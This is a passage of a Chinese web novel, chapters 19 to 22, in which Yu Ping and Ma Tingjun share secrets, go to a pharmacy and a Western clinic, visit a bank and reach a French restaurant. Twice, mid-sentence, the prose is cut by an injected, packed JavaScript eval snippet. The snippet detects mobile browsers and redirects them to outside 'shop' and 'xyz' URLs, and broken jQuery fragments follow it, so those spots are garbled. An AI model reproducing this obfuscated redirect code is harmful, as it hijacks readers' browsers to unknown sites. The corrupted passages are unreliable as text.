阿吉便点头如捣蒜,对他眼里狼狈为奸的二人一表忠心,即:“以后不可能有这种事发生了,我要和詹兰香势不两立!” 又道:“五爷,我能走了吗?” 麻霆君看过俞平脸色,心满意足放了他。阿吉走得跌跌撞撞,似乎还被草丛里石块绊了跤,俞平正看得窃喜,不曾想到麻霆君又挨了过来,坐在他的身边。到底是有求于人,俞平没再嫌弃他。 “兰香其实挺喜欢他,我也不是棒打鸳鸯之人。可是五爷,你不知道,阿吉不太可靠。” 俞平悄声道,“他会乱造谣!” 麻霆君很是上道地凑过来听小话,充血的耳垂遭月色更加上道地染了一轮,使得俞平冰凉唇瓣贴在他耳朵上,只由他身上的气息充盈了脑海; 迟觉迷昏了头,俞平语速飞快,补救道:“他居然说五爷怕女人!就算在背后诋毁,怎么能这样。” 麻霆君释然道:“他也没说错。许多人都知道这事,多一个你,倒不要紧。” 俞平假装吃惊,道:“五爷这么大度?” 麻霆君笑道:“只要你不去登报宣传就行了,我真是无所谓的。” 俞平失了搭理他的心思。今夜月光仿佛盛在水壶中,倾泻满小小一方假山,周遭有虫鸣声不止。 单只有香岛的夜晚叫俞平赏识过,不用说枢城;鹭镇离枢城近了,难免叫俞平想起家。在家俞平没有沐浴过任何夜晚,此时无端觉得自己是幸福的; 又看向麻霆君——既然麻霆君的眼眸有最清澈的湖泊般透亮,既然今夜注定藏不住心事,至多被麻霆君窃走一些秘密,多的是他取不走的,想来全都依了他便是。 俞平的心跳得沉了些,开口道:“五爷不经意和我分享了秘密,我不想叫五爷吃亏。不过我身份比不过五爷,作为交换,我愿意坦白三个秘密。” 麻霆君倒也不推脱,更加不与他客套,问道:“你喜欢男人还是女人?” 早知道不试探他了!俞平哪知道他一上来问这个,不留神把自己也赔了进去;怕是表情不受控,便抿着嘴,漏出笑容,道:“唉呀,五爷怎么会不知道!特地现在来问我,叫我难堪一下也好。” 麻霆君道:“你什么心思,我怎么猜得透?” 俞平笑道:“我要是说我喜欢男人,五爷会害怕我吗?” 麻霆君便道:“都是同类,我有什么害怕你?大家已经相互坦诚了,以后你要是处理不好人际交往,都可以找我帮忙。” “想不到五爷这么善良,真是出乎我的意料,我还以为你担心我要打你的注意。” 俞平这话把麻霆君说得愣了,趁麻霆君不作为,他又道,“不过我可以请五爷放心,我绝不会肖想五爷,我没有这个福气。” 麻霆君嘴角抽搐得不自然,朝他微笑一下,再温声道:“这便算第一个秘密了。第二个,你以后一直会都留在鹭镇吗?” “永远的事情谁说得准……这个不作数,还能再问两个。” “我才不来占你便宜,剩下多少就是多少。” “请吧。” 俞平等着他最后一个问题,心里正猜想如何同他周旋着,迟来才发觉只有麻霆君的目光候着自己。麻霆君有时候叫人觉得不真切。 不堪实际的究竟是他英俊面孔还是目光?俞平思索不出来,麻霆君忽然开口打断他:“你突然问我好奇什么,我也不知道要提什么问。能不能存着?我想到了再来找你。” 俞平道:“亏五爷还知道今晚请我吃饭,不如叫我饿着肚子,留到明天一起吃。” 麻霆君冤屈道:“你太不看好我了!” 可惜是假山后面坐不住两个人,俞平同他好,施展不出拳脚,才以膝盖蹭了蹭他,道:“五爷不说也不打紧,我知道五爷心里好奇什么。” 麻霆君任他继续讲下去。 “我以前想交朋友,都是大家送上门叫我挑,先隔空讲几句话,能合得来就玩在一起。合不来,有人负责把他们打发走。” 过去的日子又必然令人向往了,俞平说话时失了神,再转向麻霆君,道,“更加不会和别人挤在一起吃饭了,少爷也不能够。你说呢,五爷?” 麻霆君拿手指接连朝他额头上点,道:“我听明白了,你怨我占了你的便宜。” “哪有!” 俞平一下要站起来,头顶却砸在假山棱角,惨叫一声,疼的倒抽冷气。 麻霆君便把拢他进怀里,帮他揉着头顶,嘴上却落进下石:“什么是因果报应,刚才正是老天都看不下去了,叫你闭嘴。” 怎么不知不觉就贴在一起了?俞平多想往边上躲,又怕再砸在石头上,一时居然不知道如何是好,也不愿单由风声虫鸣萦绕着——实在是心旷神怡,凭什么单和麻霆君消受着,只能嘴上呜咽着打掩护; 好不容易头痛恢复了,他才小心翼翼地钻出麻霆君的怀抱,道:“你要是听见我说什么,你就不这么想了。” 麻霆君嗤笑道:“不见得。” 俞平握拳往他肚子上砸一记,谁知他笑得出来,若非石头拘束,必要东倒西歪了; 再是好一阵子,麻霆君恢复平静,愉悦道:“你心里想什么,说出来听听。” “五爷是想看我笑话的,我才不说。” “我看你才是把我当成笑话。你就是吃准我脾气好,不肯好好说话。” 当真是被他一语道破,俞平被说得实在不好意思,手改为在他腿上轻轻敲着。 麻霆君假意叹气道:“不说便不说,你嘴里总归没什么好事。” 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麻霆君居然没有问下去,与他依依不舍地握着手,许久才把手臂背到身后,身体挣扎了下,道:“最近还做噩梦吗?” 俞平道:“你已经用光机会了,不能再问我。” 麻霆君摇摇头,继而掏出一方狭小银色光芒,托付在俞平手里,笑道:“我从枢城回来的时候,给你带了一个礼物。” 铁盒被他捂得起了温度,俞平吃不准他塞了个什么进来,多时摸到盒盖凸起的花体英文字,惊喜道:“我知道这个水果糖,我以前常买回来吃!家里人都不太喜欢我吃糖,我每次都偷偷摸摸。” “是吧?你白天再看一看,它的包装也有趣,我当时觉得新奇就买了。”麻霆君话密了些,又道,“我家不太有人吃糖,我还不知道买回来怎么办呢,幸好你喜欢。” 俞平低头摩挲糖盒,吹散云层的风把他额前的碎发吹得凌乱。麻霆君胡乱帮他顺着头发,不曾想帮了倒忙,把他额头拨了出来,开口掩饰道:“每晚睡前吃一颗,就不会再做噩梦了。” 俞平道:“谢谢你。” 麻霆君眼神躲闪,道:“早知道你喜欢,我……” 假山另一侧泄洪般的笑声,打破了两人独处的世界。 俞平顿时警觉,麻霆君伸手护在他头顶,与他一齐站了起来。麻霆君探出头,假山另一侧是一群女孩子们,身材高不过假山,其中小首领赫然是他的第六个妹妹麻秋棠。 麻秋棠捏着嗓子,依葫芦画瓢道:“我从枢城回来的时候,给你带了一个礼物!” 玩伴们仗着六小姐的庇护,纷纷鹦鹉学舌:“难怪听他们说,你总做噩梦!” 说完后尖叫与嬉闹声四起,麻秋棠很不客气地上前一步,叉腰道:“哥哥,谁说我们家没人吃糖的,给我的糖又在哪?” 麻霆君生硬道:“糖吃多了烂牙齿,以后什么都嚼不动。” 麻秋棠诧异地叫了声:“居然威胁我,难道你就买了一盒?” 麻霆君道:“已经这么晚了,你们不休息?” “就买了一盒!”麻秋棠大惊小怪道,“哥哥啊,你莫不是在枢城被人掉了包,到底还是不是我的哥哥?怎么对我这么小气?” 麻霆君丧失了不久前的温柔语气,道:“你们什么时候在的?” 玩伴邀功道:“你从枢城回来的时候。” 所幸没把什么秘密偷听了去,麻霆君暗自松了一口气,徒然盯上了麻秋棠手上可疑的书卷,道:“手里有什么东西?” 麻秋棠后退几步,道:“算数课本。” 信她大晚上学算数,不如信俞平是谈凭玉——麻霆君更是胸有成竹,板着脸道:“交出来。” 麻秋棠一吐舌头:“我们写的话本,你肯定不爱看的。” 麻霆君道:“话本有什么稀奇,写的是谁跟谁的?” “不用这么凶的看着我,我告诉你便是了,也没什么见不得人的。”麻秋棠撇嘴道,“是颜青哥和俞平的,你有什么意见?” “当然有意见!我意见可大了!” 麻霆君踩着假山低矮处,翻了过来,夺下妹妹手里的话本,借微光胡乱识了几个字,道,“写的什么东西?没收。” 麻秋棠放狠话道:“下次把你也写上去!” “你要是敢写,我去告诉爹。” “就你有本事去告状,我不能也去?我不过是看个话本的清白女学生,爹对你更头疼!” 她接着做个鬼脸,带着一群女孩子跑了。麻霆君抓着话本悻悻朝空气扇了两记,才绕回假山背后,紧张着怎么去安慰俞平。 俞平早已杳无踪迹。 20.误打 好歹等到六月中,颜青告别麻家,回了枢城,俞平送兰香上学不至于提心吊胆。日子转而趋向安宁,俞平的噩梦却是愈演愈烈,好不容易问詹老板请了假,只身去到两条街外的药房。 药房柜台上没有伙计照看,俞平掀起布帘一角,进里间找医生。 医生确实在忙着工作,伙计也为他打下手。俞平定睛一看,那病人居然也熟悉。正是麻乌金的二姨太。她听到声响后敏锐回头,嘴巴擦得比花还红,笑道:“小俞平,怎么跑来这里玩?” 医生闭眼号着脉,俞平一来,二姨太的脉象都要乱了。眼见前功尽弃,他迁怒俞平道:“哪里来的小孩子?快出去。” 二姨太道:“让他进来吧,叫他在边上等我一会就好了。” 她这话说得俞平又想跑了。俞平告别道:“我还是不打扰了,祝奶奶早日康复。” 伙计把他押进来:“叫你进来就进来,磨磨蹭蹭做什么。” 俞平闭着嘴与伙计站在一旁,用口型交流着,却又互相读不懂对方的意思。终于医生把搭在二姨太手腕上的手松了下来,敲自己的太阳穴,道:“太太,我想你一定是被孩子气的。” 二姨太感动道:“你说得真是!我就是生过孩子才开始头疼。” 医生看二姨太眼色,无底线地批评孩童太淘气,叫她身心愉悦一阵,才起身要抓药。俞平尴尬地挡在他前面,他不耐烦道:“你有什么病?” 俞平道:“我想配安神香。” 医生勉强给他记上,招呼伙计多给他添几包。二姨太把医生坐的椅子分给俞平,体贴地牵起他的手,不知是看手相还是搭脉;俞平让她摆布了会,她才道:“好像是听人说,你被颜青害得不清,夜夜噩梦不止。” 俞平更正道:“我很早就开始做噩梦了,不是因为颜二爷。” 二姨太拍拍他的头:“既然都来配药了,我看你也不用谦虚。” 医生带着两包药回来,俞平裹起自己的一小包,互相点头道别,正是要走。二姨太叫住了他:“我没生孩子之前也常做噩梦,市面上所有的安眠香我都试过,一点用也没有。” 伙计为难道:“太太,我们的安神香配方是老字号。” “我不是嫌你们不好,我是有更好的法子,要想传授给他。”二姨太笑道,“噩梦是心病,我知道一个地方很厉害。小俞平,你想不想知道?” 俞平拘谨地点点头。 二姨太道:“中医讲究细水长流,西医是快刀斩乱麻,可惜噩梦拖太久也难受,多做一天噩梦,就是多吃一天苦头……” 二姨太的话语多么柔软,直接冲着俞平的心窝去了——有时候俞平嘴上恭敬她是太太,心里倒觉得她像姐姐。谁不想有这样的姐姐?俞平即时被触动得一塌糊涂,不曾想听见二姨太说道: “枢城有座西医馆还不错,叫我们霆君开车送你去。” 麻霆君的名字辅一出现,顷刻唬得俞平一激灵,二姨太这一手当真防不胜防。俞平连声道:“不必了,不必了。” 二姨太道:“小俞平,我想你心里比较公正客观。我们霆君相貌不用说,心地善良,身材更是强壮,力气也大。” 俞平道:“再见,再见。” 出了药房,俞平两条软绵绵的腿才重新充了骨头,边走边打哆嗦,不止胡思乱想:问题大约都是出在颜青身上的;兴许结识颜青之前,麻家上下都还说得过去,不至于疯疯癫癫。 俞平心里不止安慰着自己,总算是回到了布店。詹老板与何氏都出门了,剩下兰香看店,在柜台上奋笔抄写字帖。俞平上阁楼把安神香藏在抽屉,又看见最里面放着几天前带来的铁盒糖果,压在麻霆君给的二百大洋支票上。 俞平嘴馋得快,打开来尝一颗。糖果还是原先的味道,生活早天翻地覆了——他匆匆把糖果嚼碎了咽下去,心里哀愁不止,放完药包,下去布店里帮忙。 兰香一见他来,蛮不讲理地把字帖塞给他,道:“帮我写作业。” 俞平拒绝道:“算盘不会打就算了,字都不想写,你以后分不出路边招牌,怎么生活?” 兰香哇哇叫道:“休息日才两天,狗先生布置七十页字帖!我看是先生眼红我家布店生意好,自己身形又那么丑,穿什么都难看,非要把我手抄断了来报复!” 俞平虽是被她逗笑了,无奈自己心里失落着,哪想帮她练字,道:“大家都抄字帖,一样辛苦,你不能逃避。” “大家是大家,我是我。”兰香把毛笔分给他一支,道,“我们今天把作业都做掉,明天我带你出去玩。” “玩什么?” “摸螺蛳,摘果子,看电影……镇上有许多乐趣能找,你喜欢什么,我们就做什么。” “大小姐,我明天不休息,要给你爹娘工作的。” “哪有这么死板?放心好了,他们不会拦着。”兰香加油鼓劲道,“我知道你字写得很好看,平时在布店也没有用武之地,刚好来帮我的忙。” 监督俞平写了三个字,兰香再夸张地赞美他一阵,转身为他磨起墨来。墨条化水的声音却一下比一下刺耳,兰香方觉得不对,抬起头来,看见远门上的铜锁被人一脚踹了下来。 麻霆君踩着铜锁,大步流星,一进来看见与柜台上两个全懵了的打过照面,才郁闷道:“为什么有人和我说你病死了!” 能叫麻霆君来哭坟,病死的自然是俞平,总归不是自己;兰香看看身旁——既然俞平招呼不打一声,背着自己病死了,她也不忍心再叫他操劳,偷偷把字帖抽走了。 俞平把毛笔搁置在台上,道:“谁和你说的?” 麻霆君喘着气,干脆在店里坐下:“我嫂嫂。” ——二姨太回到麻公馆后,诉说起当日见闻,俞平的病情正是那时候扩大的;院里的丫鬟们满足不了二姨太的嘴瘾,她捉住了碰巧来给花卉浇水的伙计:“告诉麻霆君,布店的俞平闭上眼睛就做噩梦。叫他快点带俞平去城里的医馆。” 伙计允诺了往外走,首先想到向瘦子禀报,在二姨太的基础上添油加醋,道:“你在五爷边上混,一定知道布店的俞平……他晚上一合眼就开始做噩梦,害怕得觉也不敢睡。” 瘦子接旨后慌张不止,在中庭花园与阿吉撞了个满怀。不等阿吉埋怨,他抢先道:“去告诉我们五爷,俞平病入膏肓,已经不睡觉了!” 阿吉霎时吓得不轻:“人不睡觉就会死。人怎么能不睡觉?” 却是麻霆君的午睡时间,阿吉年纪比他小,要是贸然打搅他们五爷的好梦,怪罪下来,倚老卖老都行不了,便去找年纪大的胖子。 胖子不知道在哪里偷吃,阿吉找到他时候半条命都跑掉,道:“俞平快不行啦。” 胖子道:“怎么?” 阿吉道:“俞平晚上不睡觉,快死了!” 胖子不顾一切地奔向麻霆君的卧室,所幸麻霆君今天睡午觉忘记锁门,他才得以一脚把门踹开。麻霆君睡眼惺忪,胖子却是嗓子里装了铜锣般吵闹,涕泗直流道:“俞平见阎王去了!求求五爷大闹阴曹地府!” 逼得麻霆君一脚油门来了布店。 真相过于荒诞不经,麻公馆纵使被一百个颜青污染了,也没有如此的威力。 麻霆君此番莽撞必然是笑话。俞平仔细打量他,发觉他一身西装笔挺,顿时觉得他铿锵有力的话语格外没有说服力。 既然是急匆匆地出门——哪怕是清明祭祖,也不必如此大费周章,鬼都不管前来祭拜的人有多俏,何况是他们口中即将死去的俞平。 兰香皱了皱鼻子,道:“五爷看见了,我们俞平好得很,至多做点噩梦。哪有人不做噩梦?我也常做。” 她话里有话,正是要想把麻霆君赶走,毕竟麻霆君一来,字帖只能永久地停留在二十多页上;又见到俞平上里屋沏茶去了。 俞平回来时候一手拿水壶,一手拿一只粗瓷碗,底下浅浅没了一层茶叶,放在麻霆君面前。 麻霆君道:“我不久坐,不用茶了。” 俞平不管他的意思,为他倒起热水。透明水柱倾在杯里,俞平躲进极小的声响,道:“你要单是来找我,倒不至于说我死了。” 麻霆君顺着他的胳膊寻他的眼睛,俞平再把水壶撤了,掀开去里屋的布帘,回头道:“我只是做些噩梦,没有到死去的一步。” 兰香帮腔道:“当然不至于,你不好死的!你要是死了,我的作业可做不完了。” 麻霆君茶都喝完一碗,还没有告辞的意思,兰香生怕他把人拐走了,急于表忠心,俞平一出来便动静十足地磨着墨;俞平朝接客长凳的位置瞟一眼,麻霆君势必要吃完最后几滴水珠,便不去管他,捏起毛笔,往砚台上蘸了蘸。 才写四个字,麻霆君凑了上来:“你也去上学了?” 俞平只管低头写字,慢悠悠道:“这话说得奇怪,我不能上学?” 兰香道:“就是!” 麻霆君尚不甘心,哗啦啦翻起前面写完的字帖,才出几页便是美丑的交界线,靠下的好比古时书法家,靠上的好像蚯蚓在爬。他不可思议般望向兰香:“你的字比我写得还难看?” 兰香窘迫道:“你好歹是五爷,怎么这么不要好?沦落到和我比较……” 俞平早沉不住气,更是笑得站不稳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14233153|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔尖摁了一个墨点在字帖上。麻霆君便把他手里的笔夺下了,不客气地横在兰香面前,道:“字是人第二张脸面,你的字有这么难看,也不怕丢人。” 兰香狡辩道:“字是用来识的,不是用来赏的。” “是。夜晚是用来睡觉的,不是拿来做噩梦的。” 麻霆君把俞平拉在自己身边,道,“枢城一家医馆治噩梦很有门道,我带你去。” 俞平尚不表态,兰香着急道:“俞平,你不准和他走!我不许!” 麻霆君无赖道:“那我可是要去学堂宣传了。布店詹兰香每天吃香喝辣,居然欠我们李喆八块大洋,欠了足足有半年。” 兰香道:“你怎么知道!” 麻霆君道:“李喆算我半个弟弟,你剥削在我弟弟头上,我怎么不知道?” 兰香脸孔很红地思考一阵,忽然把俞平向前推出去,道:“欠阿吉的便是欠你的,我把俞平出租给你,一天八块大洋,算没有这件事情了!” 俞平道:“什么?” 麻霆君爽快道:“成交。” “不止。”兰香加码道,“以后阿吉给我的钱,算他自愿赠与,不是欠债还钱。” 麻霆君笑道:“我做不了主,你自己和他讨价还价。” 价钱谈拢了,俞平却不肯动,问道:“枢城分江东江南,你说的西医馆在哪里?” 麻霆君道:“颜青说在江南,很偏僻。” 兰香道:“都在枢城,有什么东南西北之分!俞平,你快和他一起去了,早点回来,我下周有许多算术作业等着你。” 她旋即把这两人推出门外。三人来到轿车前,兰香不想叫俞平吃亏,抢先一步为他拉开后座的位置,又对麻霆君说:“我们俞平是很金贵的,你这个司机要把他服侍好了。” “放心。”麻霆君道,“我总不会叫他帮我抄字帖。” 兰香踩他一脚,脚步咚咚回布店关了门。 麻霆君跨进驾驶座,先在后视镜里看俞平一眼,再扭着钥匙发动汽车。锁孔还没对准,身后声音钩子似的袭了来。 “兰香不会再出来了,五爷不想我坐边上?” 他脚都翘上了,麻霆君还以为他要安稳,谁知道说这种话;麻霆君失了开锁的心思,抬眼看后视镜,俞平模糊的映像却如一只温顺的小猫,叫麻霆君一点对他说重话的本领都没有。 麻霆君便道:“你想坐在哪都可以,看你喜欢。” 俞平道:“我一贯是听少爷的旨意的。心里也没什么想法。” 麻霆君不禁往空空如也的副驾驶上瞄一眼,谁知心蓦然跳得厉害,手僵硬着摸到水壶灌了几口,才有能力说话:“你坐过来吧,这边椅子有靠垫,还可以调椅背,比后排舒服。” 俞平笑道:“五爷的车太高档了,我不会开门。” 麻霆君在后视镜里看得一清二楚——俞平只往车门上软绵绵摸了把,有这么多开关,不要说尝试了,他是看都不看一眼;倘若处处依了俞平,太没骨气,不说他人,就算是麻霆君自己也瞧不上自己。 麻霆君便道:“继续编。” 俞平闲闲道:“那就放我坐后面吧,我本来也不想动。” 车门三趟开关,俞平被麻霆君提在副驾驶上。 总算是驶上正轨。才出了鹭镇大门,俞平在麻霆君身边居然待不住了,比划在手刹之上,道:“这是银河。” “我是牛郎。” 俞平说完这话便点点自己,再做了更加符合实际的改编,“五爷是玉皇大帝。” 麻霆君一心扑在路况上,勉为其难分他一眼,问道:“我知道这是颜青教你的把戏,不过牛郎和玉皇大帝有什么联系?” 俞平揭示道:“玉皇大帝眨眨眼睛,牛郎就没命啦。” 俞平欺负人有本领,讲笑话真无趣。见麻霆君不为所动,补救道:“五爷长得太英俊,我每看五爷一眼,都赏心悦目,延年益寿。” 这回麻霆君控制不住嘴角上扬,自己表情痛苦地克制了会,方回到之前无欲无求时候的模样,问道:“也是颜青教你的?” 俞平道:“是我的肺腑之言。” 麻霆君朝他假笑一下便算至高礼仪。 俞平又叹气道:“没想到五爷八块大洋就把我租出来了。兰香真不会开价,颜二爷请我看电影,几个小时便是一百大洋。” 麻霆君道:“你要是涨到八百大洋,我也愿意请你,如何呢?” “我也没有这么俗。不过方才是与兰香的约定,到我这里不作数,我另有事情相求。”俞平看了他,笑道,“五爷好好开车,到了枢城再说。” 21.误撞 西医馆的医生自然是西洋人,高加索面孔,有着区别于俞平亦或麻霆君的崎岖五官,说话时脸上历经一场地震:“What are your symptoms?[1]” [你的症状是什么?] 俞平坐在他面前,看他胡子多茂盛,不管他说话。麻霆君率先听出来了,轻轻触俞平后背,道:“医生问你怎么了。” 俞平回头,欣喜道:“五爷还会讲英语?” 他说话永远都是一个调,夹带的夸赞亦或讽刺说不清楚。麻霆君心思再复杂也是简单,必然都是往好处想,炫耀道:“你五爷会得可多了。” 俞平道:“劳烦五爷去和医生讲清楚,我经常做噩梦。” 麻霆君蹦了几个词出来,倏地卡了壳。俞平听他表达,因由单词过于简单,把原本的意思也改了;又认为他口语还可以,兴许是单纯依凭他的声音显得悦耳动听,可是大家庭出来的少爷必然不会太含糊,有偏差也在所难免,便对他放了心。 等到医生含糊不清地向他们发射连珠炮时,麻霆君再厚着脸皮往俞平背上戳了戳。 俞平道:“说了什么?” “听不懂,什么都听不懂。” 麻霆君空洞道,“你在这里等等,我去楼下请翻译。” 俞平叹了口气,亲自上阵。麻霆君诧异不止,道:“你也会讲英语?” “是。医生希望你不要影响他的判断,五爷要是没什么事情就请出去吧。”俞平挤出微笑,“顺便记得帮我垫付一下医药费,我以后会还给你的。” 麻霆君不想自讨没趣,管自己出了门。坐大堂的翻译很是期待地盯他一路,他只是径自上了轿车。 颜青写的便条放在车里,写了银行的地址与联系电话,离西医馆近,往江南深处开十五分钟便是。今天总归是去踩点,并非正式登堂,麻霆君本想趁俞平看病时候自己去,忽然改了主意,放倒座位小憩半晌。 天气最后凉一阵直奔入夏。风萧瑟地卷过落在地上的新叶,远去的黄昏好似被薄纱蒙上。俞平来敲着他车窗,把里面打瞌睡的人惊醒了。车窗降下。 俞平道:“医药费付了吗?” 麻霆君打个呵欠,大言不惭道:“没付。” 俞平扭头就走,麻霆君探出窗外,把他叫了回来,道:“早付过了——和我出门,你担心什么?” 俞平嫌他幼稚,好话也不说,绕到副驾驶叫他开门。 麻霆君只开了窗户,人攀着座椅挨过来,道:“但我不是白付给你的。要是你许的愿是看病不花钱,我也要叫你帮我做事。” 俞平立刻在他额头上弹了一记,麻霆君吃痛也不恼,反而朝他笑一笑;他自然更加不客气,手指嘣嘣弹着,像是挑选一只心仪的西瓜。 若是遇见了瓜农,宁愿不要一单生意,也要把俞平快快地赶走。麻霆君偏偏是忍耐许久,实在消受不住了,再向他求饶,呜咽道:“俞平,很痛的!” 俞平把手敷在他的额头,道:“我听出五爷头脑很成熟,怎么说得出这种蠢话。” 西瓜霆君可怜道:“你与其听我的头脑,不如听一下我要求什么,不过分的。” “五爷也不早和我说,把我骗到手了再加价。”俞平道,“反正是在枢城,我自己叫个车,去找颜少爷了。告辞。” 麻霆君着急道:“不准去找颜青!” 俞平皮笑肉不笑,手伸进车窗开了门。麻霆君好生伺候他一番,又是帮他安放药包又是为他倒水,还把藏在车里的零食分给他,颜青都不知道车里藏着零食!好不容易俞平不作声,麻霆君方央求道:“我接手了谈二的银行,你和我一起去看看。” 又道:“我不是叫你白陪我的,等下请你吃饭,晚上再把你送到布店。包你满意。” 俞平靠在座椅,平静道:“依我看,去都不用去。” 麻霆君只觉得心里碎了一块,几欲开口都作了罢,好不容易小声道:“你不乐意吗?” “和谈文翡做生意很简单,他不会做对自己不利的事情。你要得寸进尺,多谋一份利,他家底厚,也许也能容忍。银行不见得。” 俞平顿了顿,“凡是能被他甩脱的产业都是赔钱的,他底下生意多了,银行亏了有别的弥补,我看你不见得。” 麻霆君愣道:“你这么了解他?是以前相识,还是另有他因?” 俞平被他神情提点,尚觉得自己多语,表情才僵了些,做作地朝麻霆君一笑,道:“谈文翡在枢城很出名,大家都了解他的行事风格,我是听别人说起的。” 又打岔道:“五爷原本想的是什么?” “我以为……” 麻霆君很是愧疚地低下头去,半晌才抬起,转而面向俞平。俞平发觉他眼底的委屈还未散尽,新被欢欣冲了一轮。麻霆君微笑道,“我以为你不愿意和我待在一起。” 不仅是神情,他身后隐形的尾巴几乎摇成一朵花。 早知如此——早知如此和他废什么话!反而叫俞平自己如坐针毡;俞平心里懊悔无与伦比,光是耳朵着火不够,还要往脸颊上烧,支吾道:“我怎么拒绝?” “真的?”麻霆君不可思议道,“你心里真的是这么想的?” 俞平道:“假的,我不想答应你!” 麻霆君笑道:“看银行不用太久,我知道有家法餐厅很不错,马上就带你去。” 好说歹说麻霆君开了车。枢城的道路比鹭镇不知道平整多少,麻霆君车技了得,开得平稳;俞平心里却是不管不顾地上下颠簸着,便绝望地看向窗外。虽是在枢城住了多年,两边风景尽是初次见到,俞平开了丝窗,要风把自己脸上灼痕刮掉。 银行在栀子花街,不起眼地藏在梧桐树后,若非麻霆君按着门牌一家一家数过去,必然不会与俞平停在一幢洋楼式的建筑前。 近了才发现深色招牌上写着深色字,“栀子花街三号银行”,说是咖啡馆还更加贴切。 里面是南洋风格装潢,大肆搭盆景。麻霆君在休息处告别俞平,与职员打了招呼,一同上至二楼。 俞平哪闲得住,不止打量银行内部的装修。当真是谈文翡手下的产业,张牙舞爪收在内力装潢,俞平看得懂,即便是小小一方木桌也大有来头,意大利进口,平日擦蜡油保养。 往边上看,壁灯有品位;选的油画大约是学生习作,笔法稚嫩了些,主要是几块颜色调配得好看,也赏心悦目; 再往边上是公告栏,谈四谈凭玉的寻人启事张贴满半版,被穿堂风吹得旧了些。俞平身不由己地站在公告栏前面。 ——谈家四少爷谈凭玉,于近日失踪。如有知情者,请前往谈公馆说明。若消息确切,赏黄金万两,其余任何所求皆可面议。 人像画得倒还不错。 “请问有什么能够帮助你?” 迟觉身后有他人的气息,俞平回头时依然吃了一惊。眼前是个穿夏季制服的彪形大汉,比他矮一截,木桩似的;谈文翡若是找职员都按这副模板,难怪谈家在枢城的口碑直走下坡。 俞平心里泛一阵嘀咕,顺着公告栏问他:“谈四还没找到吗?” 大汉道:“没呢,不还贴着?我看是找不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14245074|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了。” 俞平道:“你在谈家做多久了?” 大汉警觉扫他一眼,又道:“我听着不对,你这话是什么意思?” “我家少爷图赏金,满城找谈四。”俞平笑道,“这里是谈二的产业,我看你不像单在这里做职员,才来打探一番。有没有什么内幕?” “不愧是伺候少爷的,眼睛这么尖,一下看出来了!” 俞平看他还算好相处,又是游手好闲在银行里,把他骗去等候区的沙发上,交谈起来。必然是看俞平实在漂亮,否则有什么其他理由?大汉三言两语间卸了防备,全部身家托付与他了。 “别嫌我说话难听。我原先是个瘪三,更没什么文化,做一些短期粗活。有天去卸货,不曾想二爷赏识我,叫我留下来做保镖。” 大汉侃侃道,“二爷说是叫我来银行学本领,可我来了以后,许多人都不敢进来。” 俞平道:“你和我透露一下没关系,这家银行是不是年年赔本?” 大汉却是顾左右言他:“说不好,不过明年好像要交给别人了,不知道谁这么晦气。” 俞平又道:“要是真交给别人了,你们去哪谋生?” “拢共没几个人,谈家产业又多,大家散成满天星,还能再落进几家去。” 大汉抽了张名片塞进俞平手里,道,“上面有我们银行的地址与电话号码。有需要,可以叫你家少爷常来。总归没几年好开,我们也不坑害他。” 俞平接过名片却不看,作筹码似的摁在桌面,幽幽道:“有没有谈文翡的号码?” “是你找我们二爷,还是你主子找?” “我。” 大汉起身,厉声道:“我们二爷的床不是谁都能上的,我劝你好生服侍你家少爷,早早断了这番心思!” 俞平笑道:“开个玩笑而已,何必动气?我家少爷正是想预备手这家银行的,我才拿他做文章。” 大汉狠狠剜他一眼。又是嗅觉敏锐,闻见脚步声,朝俞平冷冷道:“你主子来了,要是有需要再叫我。“ 大汉拦住麻霆君的去路,耳语几句,期间两个人都不约而同往俞平脸上看,俞平尽记在眼里。 然而麻霆君来到俞平身旁时照旧春风满面,叫俞平见着了一个字吐不出来。两人一个傻笑,一个心虚,面对面许久,俞平才问他:“刚才那人和你说了什么?” “他说你心思不纯,叫我多提防你一些。”麻霆倚仗自己高过俞平,在他头上摸了摸,道,“放心,什么人好,什么人坏,你五爷心中自有定数。” “银行谈的怎么样?” “放心,我是五爷,不会有错的。” 世上当真是什么人都要有一些,平心而论,俞平也不愿见到所有人都与自己一模一样;又看麻霆君笑容灿烂,心里酸楚着却有暖流上涌,乖顺跟在他身后出了门。门框带动悬挂的风铃叮当碰撞。 职员从位置上起身,来到大汉身边,一同靠在门口玻璃窗,朝他们背影评头论足: “这两人真奇怪,论相处模式,谁是主子,谁是下人,我真是分不清楚。要说是养金丝雀也太磕碜了,哪有这么寒酸的金丝雀?” 大汉冷哼道:“你不看他长什么样,这张脸卖不贱!方才我试探他底细,只觉得他很是阴险,我都有些慌他,没你想得这么简单。” 职员嗅出气氛紧张,道:“要向二爷汇报吗?” 大汉最后目送他们一阵,悻悻回了头:“痴傻的少爷常有,对他情深也难免。毕竟是人家家事,一个愿打一个愿挨的……算了,闲事少管。” 22.法餐 俞平原本以为麻霆君带他应付一口,急着赶家里的宵禁,不想车开到市中心,选了家法餐厅。 他看见几支孱弱的花探出黑色铁阑干,迎风颤抖着。麻霆君来开车门。他目光下移至麻霆君挤不进来的宽阔肩膀,皮笑肉不笑地示了好。 侍者带他们上至二楼,远远看见露天花园尚空余几桌,鲜花之中伴随桌上烛光点点。 